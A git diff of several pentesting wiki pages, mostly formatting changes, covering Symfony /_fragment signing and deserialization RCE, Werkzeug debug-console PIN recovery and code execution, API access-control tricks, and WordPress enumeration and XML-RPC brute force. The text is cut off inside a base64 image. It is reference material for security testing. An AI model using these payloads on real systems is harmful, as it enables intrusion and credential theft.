gettimeofday(&tv, NULL); return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec); ``` -#### Disclosing the timestamp +#### Disclosing the timestamp Luckily, we know this secret gets generated on the last step of the installation, right after the website gets set up. This means we can probably leak the timestamp used to generate this hash. -One way to do so is using the logs \(_e.g._ `/var/log/storage.log`\); one can leak the first time a cache entry was created. The cache entry gets created right after `generateRandomSecret()` is called. +One way to do so is using the logs (_e.g._ `/var/log/storage.log`); one can leak the first time a cache entry was created. The cache entry gets created right after `generateRandomSecret()` is called. _Sample log contents: the timestamp is similar to the one used to compute secret_ @@ -398,7 +398,7 @@ _Sample log contents: the timestamp is similar to the one used to compute secret If logs aren't available, one can use the very powerful search engine of eZPublish to find the time of creation of the very first element of the website. Indeed, when the site is created, a lot of timestamps are put into the database. This means that the timestamp of the initial data of the eZPublish website is the same as the one used to compute `uniqid()`. We can look for the `landing_page` _ContentObject_ and find out its timestamp. -## Bruteforcing the missing bits +## Bruteforcing the missing bits We are now aware of the timestamp used to compute the secret, as well as a hash of the following form: @@ -409,21 +409,21 @@ $known_plaintext = ''; $known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext); ``` -This leaves us with a total of 231 \* 106 possibilities. It feels doable with [hashcat](https://hashcat.net/) and a good set of GPUs, but hashcat does not provide a `sha1(sha1($pass).$salt)` kernel. Luckily, we implemented it! You can find [the pull-request here](https://github.com/hashcat/hashcat/pull/2536). +This leaves us with a total of 231 \* 106 possibilities. It feels doable with [hashcat](https://hashcat.net) and a good set of GPUs, but hashcat does not provide a `sha1(sha1($pass).$salt)` kernel. Luckily, we implemented it! You can find [the pull-request here](https://github.com/hashcat/hashcat/pull/2536). Using our cracking machine, which boasts 8 GPUs, we can crack this hash in _under 20 hours_. After getting the hash, we can use `/_fragment` to execute code. -## Conclusion +## Conclusion Symfony is now a core component of many PHP applications. As such, any security risk that affects the framework affects lots of websites. As demonstrated in this article, either a weak secret or a less-impactful vulnerability allows attackers to obtain **remote code execution**. As a blue teamer, you should have a look at every of your Symfony-dependent websites. Up-to-date software cannot be ruled out for vulnerabilities, as the secret key is generated at the first installation of the product. Hence, if you created a Symfony-3.x-based website a few years ago, and kept it up-to-date along the way, chances are the secret key is still the default one. -## Exploitation +## Exploitation -### Theory +### Theory On the first hand, we have a few things to worry about when exploiting this vulnerability: @@ -441,15 +441,15 @@ On the other hand, we can take advantage of a few things: The last point allows us to test secret values without worrying about which function or method we are going to call afterwards. -### Practice +### Practice Let's say we are attacking `https://target.com/_fragment`. To be able to properly sign a URL, we need knowledge of: -* Internal URL: it could be `https://target.com/_fragment`, or maybe `http://target.com/_fragment`, or else something entirely different \(_e.g._ `http://target.website.internal`\), which we can't guess +* Internal URL: it could be `https://target.com/_fragment`, or maybe `http://target.com/_fragment`, or else something entirely different (_e.g._ `http://target.website.internal`), which we can't guess * Secret key: we have a list of usual secret keys, such as `ThisTokenIsNotSoSecretChangeIt`, `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`, etc. * Algorithm: SHA1 or SHA256 -We do not need to worry about the effective payload \(the contents of `_path`\) yet, because a properly signed URL will not result in an `AccessDeniedHttpException` being thrown, and as such won't result in a `403`. The exploit will therefore try each `(algorithm, URL, secret)` combination, generate an URL, and check if it does not yield a `403` status code. +We do not need to worry about the effective payload (the contents of `_path`) yet, because a properly signed URL will not result in an `AccessDeniedHttpException` being thrown, and as such won't result in a `403`. The exploit will therefore try each `(algorithm, URL, secret)` combination, generate an URL, and check if it does not yield a `403` status code. _A valid request to `/_fragment`, without `_path` parameter_ @@ -457,9 +457,9 @@ _A valid request to `/_fragment`, without `_path` parameter_ At this point, we can sign any `/_fragment` URL, which means it's a garantied RCE. It is just a matter of what to call. -Then, we need to find out if we can call a function directly, or if we need to use a class method. We can first try the first, most straightforward way, using a function such as `phpinfo ([ int $what = INFO_ALL ] )` \([documentation](https://www.php.net/manual/en/function.phpinfo.php)\). The `_path` GET parameter would look like this: +Then, we need to find out if we can call a function directly, or if we need to use a class method. We can first try the first, most straightforward way, using a function such as `phpinfo ([ int $what = INFO_ALL ] )` ([documentation](https://www.php.net/manual/en/function.phpinfo.php)). The `_path` GET parameter would look like this: -```text +``` _controller=phpinfo &what=-1 ``` @@ -476,11 +476,11 @@ _Sample output using `_controller=assert`_ Otherwise, this means that we'll need to use a class method instead. A good candidate for this is `Symfony\Component\Yaml\Inline::parse`, which is a built-in Symfony class, and as such is present on Symfony websites. -Obviously, this method parses a YAML input string. Symfony's [YAML](https://yaml.org/) parser supports the `php/object` tag, which will convert a serialized input string into an object using `unserialize()`. This lets us use our favorite PHP tool, [PHPGGC](https://github.com/ambionics/phpggc) ! +Obviously, this method parses a YAML input string. Symfony's [YAML](https://yaml.org) parser supports the `php/object` tag, which will convert a serialized input string into an object using `unserialize()`. This lets us use our favorite PHP tool, [PHPGGC](https://github.com/ambionics/phpggc) ! The method prototype has changed over the years. For instance, here are three different prototypes: -```text +``` public static function parse($value, $flags, $references); public static function parse($value, $exceptionOnInvalidType, $objectSupport); public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references); @@ -490,7 +490,7 @@ Instead of building `_path` for each one of these, we can take advantage of the We can therefore build `_path` like this: -```text +``` _controller=Symfony\Component\Yaml\Inline::parse &value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":... &flags=516 @@ -511,7 +511,7 @@ The exploit will therefore run through every possible variable combination, and ## Accessing symphony /\_profiler information -\(info taken from [https://flattsecurity.hatenablog.com/entry/2020/11/02/124807](https://flattsecurity.hatenablog.com/entry/2020/11/02/124807)\) +(info taken from [https://flattsecurity.hatenablog.com/entry/2020/11/02/124807](https://flattsecurity.hatenablog.com/entry/2020/11/02/124807)) ![f:id:flattsecurity:20201021204553p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204553.png) @@ -528,4 +528,3 @@ The Symfony framework itself is very secure, but enabling debug mode will make t As you see in the screenshot above, you can access all sent requests to the server. By clicking hashes in the token, you will see that all POST parameters can be read, as seen in the following screenshot. With this feature, we can hijack the administrator and user’s account credentials. ![f:id:flattsecurity:20201021204637p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204637.png) - diff --git a/pentesting/pentesting-web/uncovering-cloudflare.md b/pentesting/pentesting-web/uncovering-cloudflare.md index 1cb3c353..655d8f44 100644 --- a/pentesting/pentesting-web/uncovering-cloudflare.md +++ b/pentesting/pentesting-web/uncovering-cloudflare.md @@ -4,7 +4,6 @@ Techniques to try to uncover web servers behind cloudflare: * Search for the domain inside [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) * Search for the domain in [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/) -* \*\*\*\*[**CloudFlair**](https://github.com/christophetd/CloudFlair) is a tool that will search using Censys certificates that contains the domain name, then it will search for IPv4s inside those certificates and finally it will try to access the web page in those IPs. +* ****[**CloudFlair**](https://github.com/christophetd/CloudFlair) is a tool that will search using Censys certificates that contains the domain name, then it will search for IPv4s inside those certificates and finally it will try to access the web page in those IPs. * You can also use some service that gives you the **historical DNS records** of the domain. Maybe the web page is running on an IP address used before. -* If you find a **SSRF inside the web application** you can abuse it to obtain the IP address of the server. - +* If you find a** SSRF inside the web application **you can abuse it to obtain the IP address of the server. diff --git a/pentesting/pentesting-web/web-api-pentesting.md b/pentesting/pentesting-web/web-api-pentesting.md index 28f40a61..5364feed 100644 --- a/pentesting/pentesting-web/web-api-pentesting.md +++ b/pentesting/pentesting-web/web-api-pentesting.md @@ -4,18 +4,17 @@ Main: -* **Web Services \(SOAP/XML\)** +* **Web Services (SOAP/XML)** - * The documentation uses **WSDL** format and is usually saved in the `?wsdl` path like `https://api.example.com/api/?wsdl` - * An example of this documentation can be found in [http://www.dneonline.com/calculator.asmx](http://www.dneonline.com/calculator.asmx) \(WSDL document in [http://www.dneonline.com/calculator.asmx?wsdl](http://www.dneonline.com/calculator.asmx?wsdl)\) and you can see an example request calling the `Add` method in [http://www.dneonline.com/calculator.asmx?op=Add](http://www.dneonline.com/calculator.asmx?op=Add) - * For parsing these files and create example requests you and use the tool **SOAPUI** or the **WSDLer** Burp Suite Extension. + * The documentation uses **WSDL** format and is usually saved in the `?wsdl` path like `https://api.example.com/api/?wsdl` + * An example of this documentation can be found in [http://www.dneonline.com/calculator.asmx](http://www.dneonline.com/calculator.asmx) (WSDL document in [http://www.dneonline.com/calculator.asmx?wsdl](http://www.dneonline.com/calculator.asmx?wsdl)) and you can see an example request calling the `Add` method in [http://www.dneonline.com/calculator.asmx?op=Add](http://www.dneonline.com/calculator.asmx?op=Add) + * For parsing these files and create example requests you and use the tool **SOAPUI** or the **WSDLer** Burp Suite Extension. - - -* **REST APIs \(JSON\)** - * The standard documentation is the WADL file. Find an example here: [https://www.w3.org/Submission/wadl/](https://www.w3.org/Submission/wadl/). However, there are other more developer friendly API representation engines like [https://swagger.io/tools/swagger-ui/](https://swagger.io/tools/swagger-ui/) \(check the demo in the page\) + +* **REST APIs (JSON)** + * The standard documentation is the WADL file. Find an example here: [https://www.w3.org/Submission/wadl/](https://www.w3.org/Submission/wadl/). However, there are other more developer friendly API representation engines like [https://swagger.io/tools/swagger-ui/](https://swagger.io/tools/swagger-ui/) (check the demo in the page) * For parsing these files and create example requests you an use the tool **Postman** -* \*\*\*\*[**GraphQL**](graphql.md)\*\*\*\* +* ****[**GraphQL**](graphql.md)**** ## Tricks @@ -23,13 +22,13 @@ Main: These kind of APIs may be [**vulnerable to XXE**](../../pentesting-web/xxe-xee-xml-external-entity.md), but usually **DTD Declarations** are **disallowed** in the input from the user. -You could also try to use CDATA tags to insert payloads \(as long as the XML is valid\) +You could also try to use CDATA tags to insert payloads (as long as the XML is valid) -![](../../.gitbook/assets/image%20%28537%29.png) +![](<../../.gitbook/assets/image (534).png>) ### Check Access -Usually some API endpoints are gong to need more privileges that others. Always try to access the more privileged endpoints from less privileged \(unauthorized\) accounts to see if it's possible. +Usually some API endpoints are gong to need more privileges that others. Always try to access the more privileged endpoints from less privileged (unauthorized) accounts to see if it's possible. ### CORS @@ -37,29 +36,29 @@ Always check the [**CORS**](../../pentesting-web/cors-bypass.md) configuration o ### Patterns -Search for API patterns inside the api and try to use it to discover more. -If you find _/api/albums/**<album\_id>**/photos/**<photo\_id>**_ ****you could try also things like _/api/**posts**/<post\_id>/**comment**/_. Use some fuzzer to discover this new endpoints. +Search for API patterns inside the api and try to use it to discover more.\ +If you find _/api/albums/**\**/photos/**\**_** **you could try also things like _/api/**posts**/\/**comment**/_. Use some fuzzer to discover this new endpoints. ### Add parameters -Something like the following example might get you access to another user’s photo album: -_/api/MyPictureList → /api/MyPictureList?**user\_id=<other\_user\_id>**_ +Something like the following example might get you access to another user’s photo album:\ +_/api/MyPictureList → /api/MyPictureList?**user_id=\**_ ### Replace parameters -You can try to **fuzz parameters** or **use** parameters **you have seen** in a different endpoints to try to access other information +You can try to **fuzz parameters** or **use **parameters **you have seen** in a different endpoints to try to access other information -For example, if you see something like: _/api/albums?**album\_id=<album id>**_ +For example, if you see something like: _/api/albums?**album_id=\**_ -You could **replace** the **`album_id`** parameter with something completely different and potentially get other data: _/api/albums?**account\_id=<account id>**_ +You could **replace **the **`album_id`** parameter with something completely different and potentially get other data: _/api/albums?**account_id=\**_ ### Parameter pollution - /api/account?**id=<your account id>** → /api/account?**id=<your account id>&id=<admin's account id>** + /api/account?**id=\** → /api/account?**id=\\&id=\** ### Wildcard parameter -Try to use the following symbols as wildcards: **\***, **%**, **\_**, **.** +Try to use the following symbols as wildcards: **\***, **%**, **\_**,** .** * /api/users/\* * /api/users/% @@ -72,31 +71,31 @@ You can try to use the HTTP methods: **GET, POST, PUT, DELETE, PATCH, INVENTED** ### Request content-type -Try to play between the following content-types \(bodifying acordinly the request body\) to make the web server behave unexpectedly: +Try to play between the following content-types (bodifying acordinly the request body) to make the web server behave unexpectedly: -* **x-www-form-urlencoded** --> user=test -* **application/xml** --> <user>test</user> -* **application/json** --> {"user": "test"} +* **x-www-form-urlencoded **--> user=test +* **application/xml **--> \test\ +* **application/json **--> {"user": "test"} ### Parameters types -If **JSON** data is working try so send unexpected data types like: +If **JSON **data is working try so send unexpected data types like: * {"username": "John"} * {"username": true} * {"username": null} * {"username": 1} -* {"username": \[true\]} -* {"username": \["John", true\]} +* {"username": \[true]} +* {"username": \["John", true]} * {"username": {"$neq": "lalala"}} * any other combination you may imagine -If you can send **XML** data, check for [XXE injections](../../pentesting-web/xxe-xee-xml-external-entity.md). +If you can send **XML **data, check for [XXE injections](../../pentesting-web/xxe-xee-xml-external-entity.md). If you send regular POST data, try to send arrays and dictionaries: -* username\[\]=John -* username\[$neq\]=lalala +* username\[]=John +* username\[$neq]=lalala ### Play with routes @@ -107,13 +106,14 @@ If you send regular POST data, try to send arrays and dictionaries: Old versions may be still be in use and be more vulnerable than latest endpoints * `/api/v1/login` -* `/api/v2/login` +* `/api/v2/login`\ + * `/api/CharityEventFeb2020/user/pp/` * `/api/CharityEventFeb2021/user/pp/` ## Owasp API Security Top 10 -Read this document to learn how to **search** and **exploit** Owasp Top 10 API vulnerabilities: [https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf) +Read this document to learn how to **search **and **exploit **Owasp Top 10 API vulnerabilities: [https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf) ## API Security Checklist @@ -125,8 +125,7 @@ Read this document to learn how to **search** and **exploit** Owasp Top 10 API v ## Tools -* \*\*\*\*[**https://github.com/imperva/automatic-api-attack-tool**](https://github.com/imperva/automatic-api-attack-tool): Imperva's customizable API attack tool takes an API specification as an input, generates and runs attacks that are based on it as an output. +* ****[**https://github.com/imperva/automatic-api-attack-tool**](https://github.com/imperva/automatic-api-attack-tool): Imperva's customizable API attack tool takes an API specification as an input, generates and runs attacks that are based on it as an output. * [**https://github.com/microsoft/restler-fuzzer**](https://github.com/microsoft/restler-fuzzer): RESTler is the _first stateful REST API fuzzing tool_ for automatically testing cloud services through their REST APIs and finding security and reliability bugs in these services. For a given cloud service with an OpenAPI/Swagger specification, RESTler analyzes its entire specification, and then generates and executes tests that exercise the service through its REST API. -* \*\*\*\*[**https://github.com/flipkart-incubator/Astra**](https://github.com/flipkart-incubator/Astra): Another tool for api testing -* \*\*\*\*[**https://github.com/assetnote/kiterunner**](https://github.com/assetnote/kiterunner): Great tool to **discover API endpoints** - +* ****[**https://github.com/flipkart-incubator/Astra**](https://github.com/flipkart-incubator/Astra): Another tool for api testing +* ****[**https://github.com/assetnote/kiterunner**](https://github.com/assetnote/kiterunner): Great tool to **discover API endpoints** diff --git a/pentesting/pentesting-web/werkzeug.md b/pentesting/pentesting-web/werkzeug.md index 7fb3ddb0..ddcd308c 100644 --- a/pentesting/pentesting-web/werkzeug.md +++ b/pentesting/pentesting-web/werkzeug.md @@ -8,7 +8,7 @@ If debug is active you could try to access to `/console` and gain RCE. __import__('os').popen('whoami').read(); ``` -![](../../.gitbook/assets/image%20%28348%29.png) +![](<../../.gitbook/assets/image (317).png>) There is also several exploits on the internet like [this ](https://github.com/its-arun/Werkzeug-Debug-RCE)or one in metasploit. @@ -21,10 +21,10 @@ In some occasions the /console endpoint is going to be protected by a pin. Here ### Werkzeug Console PIN Exploit -**Copied from the first link.** +**Copied from the first link.**\ See Werkzeug “console locked” message by forcing debug error page in the app. -```text +``` The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server @@ -32,7 +32,7 @@ shell that runs the server Locate vulnerable Werkzeug debug console at path `vulnerable-site.com/console`, but is locked by secret PIN number. -You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug `__init__.py` file on server e.g. `python3.5/site-packages/werkzeug/debug/__init__.py`. View [Werkzeug source code repo](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), but better to leak source code through file traversal vulnerability since versions likely differ. +You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug `__init__.py` file on server e.g. `python3.5/site-packages/werkzeug/debug/__init__.py`. View [Werkzeug source code repo](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\__init\_\_.py), but better to leak source code through file traversal vulnerability since versions likely differ. In this file, see relevant method outlining steps to generate console PIN: @@ -133,11 +133,11 @@ private_bits = [ * `username` is the user who started this Flask * `modname` is flask.app * `getattr(app, '__name__', getattr (app .__ class__, '__name__'))` is Flask -* `getattr(mod, '__file__', None)` is the absolute path of `app.py` in the flask directory \(e.g. `/usr/local/lib/python3.5/dist-packages/flask/app.py`\). If `app.py` doesn't work, try `app.pyc` +* `getattr(mod, '__file__', None)` is the absolute path of `app.py` in the flask directory (e.g. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). If `app.py` doesn't work, try `app.pyc` * `uuid.getnode()` is the MAC address of the current computer, `str (uuid.getnode ())` is the decimal expression of the mac address -* `get_machine_id()` read the value in `/etc/machine-id` or `/proc/sys/kernel/random/boot_id` and return directly if there is, sometimes it might be required to append a piece of information within `/proc/self/cgroup` that you find at the end of the first line \(after the third slash\) +* `get_machine_id()` read the value in `/etc/machine-id` or `/proc/sys/kernel/random/boot_id` and return directly if there is, sometimes it might be required to append a piece of information within `/proc/self/cgroup` that you find at the end of the first line (after the third slash) -To find server MAC address, need to know which network interface is being used to serve the app \(e.g. `ens3`\). If unknown, leak `/proc/net/arp` for device ID and then leak MAC address at `/sys/class/net//address`. +To find server MAC address, need to know which network interface is being used to serve the app (e.g. `ens3`). If unknown, leak `/proc/net/arp` for device ID and then leak MAC address at `/sys/class/net//address`. Convert from hex address to decimal representation by running in python e.g.: @@ -192,4 +192,3 @@ if rv is None: print(rv) ``` - diff --git a/pentesting/pentesting-web/wordpress.md b/pentesting/pentesting-web/wordpress.md index 9d42c2bb..2578ecb8 100644 --- a/pentesting/pentesting-web/wordpress.md +++ b/pentesting/pentesting-web/wordpress.md @@ -2,9 +2,9 @@ ## Basic Information -**Uploaded** files go to: _http://10.10.10.10/wp-content/uploads/2018/08/a.txt_ -**Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: ****Using **theme twentytwelve** you can **access** the **404.php** file in**:** [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -**Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\*\*\*\* +**Uploaded** files go to: _http://10.10.10.10/wp-content/uploads/2018/08/a.txt_\ +__**Themes files can be found in /wp-content/themes/, **so if you change some php of the theme to get RCE you probably will use that path. For example:** **Using **theme twentytwelve **you can **access **the **404.php **file in**: **[**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)****\ +**Another useful url could be: **[**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)**** In **wp-config.php** you can find the root password of the database. @@ -15,7 +15,7 @@ Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admi * `index.php` * `license.txt` contains useful information such as the version WordPress installed. * `wp-activate.php` is used for the email activation process when setting up a new WordPress site. -* Login folders \(may be renamed to hide it\): +* Login folders (may be renamed to hide it): * `/wp-admin/login.php` * `/wp-admin/wp-login.php` * `/login.php` @@ -41,21 +41,21 @@ Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admi ### **Get WordPress version** -Check if you can find the files `/license.txt` or `/readme.html` +Check if you can find the files` /license.txt` or `/readme.html` -Inside the **source code** of the page \(example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)\): +Inside the **source code **of the page (example from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): * `meta name` -![](../../.gitbook/assets/image%20%28379%29.png) +![](<../../.gitbook/assets/image (343).png>) * CSS link files -![](../../.gitbook/assets/image%20%28377%29.png) +![](<../../.gitbook/assets/image (344).png>) * JavaScript files -![](../../.gitbook/assets/image%20%28376%29.png) +![](<../../.gitbook/assets/image (346).png>) ### Get Plugins @@ -79,7 +79,7 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep - ### Plugins and Themes -You probably won't be able to find all the Plugins and Themes passible. In order to discover all of them, you will need to **actively Brute Force a list of Plugins and Themes** \(hopefully for us there are automated tools that contains this lists\). +You probably won't be able to find all the Plugins and Themes passible. In order to discover all of them, you will need to **actively Brute Force a list of Plugins and Themes** (hopefully for us there are automated tools that contains this lists). ### Users @@ -87,7 +87,7 @@ You probably won't be able to find all the Plugins and Themes passible. In order You get valid users from a WordPress site by Brute Forcing users IDs: -```text +``` curl -s -I -X GET http://blog.example.com/?author=1 ``` @@ -97,19 +97,19 @@ If the responses are **200** or **30X**, that means that the id is **valid**. If You can also try to get information about the users by querying: -```text +``` curl http://blog.example.com/wp-json/wp/v2/users ``` **Only information about the users that has this feature enable will be provided**. -Also note that _**/wp-json/wp/v2/pages** could leak IP addresses**.**_ +Also note that _**/wp-json/wp/v2/pages **could leak IP addresses**.**_ ### XML-RPC -If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. \(You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example\). +If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). -To see if it is active try to access to _**/xmlrpc.php**_ and send this request: +To see if it is active try to access to _**/xmlrpc.php **_and send this request: #### Check @@ -124,7 +124,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: #### Credentials Bruteforce -_**wp.getUserBlogs**_, _**wp.getCategories**_ or _**metaWeblog.getUsersBlogs**_ are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like: +_**wp.getUserBlogs**_, _**wp.getCategories** _or_** metaWeblog.getUsersBlogs**_ are some of the methods that can be used to brute-force credentials. If you can find any of them you can send something like: ```markup @@ -138,14 +138,14 @@ _**wp.getUserBlogs**_, _**wp.getCategories**_ or _**metaWeblog.getUsersBlogs**_ The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid. -Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request: +Also there is a **faster way **to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request: -![](data:image/jpeg;base64,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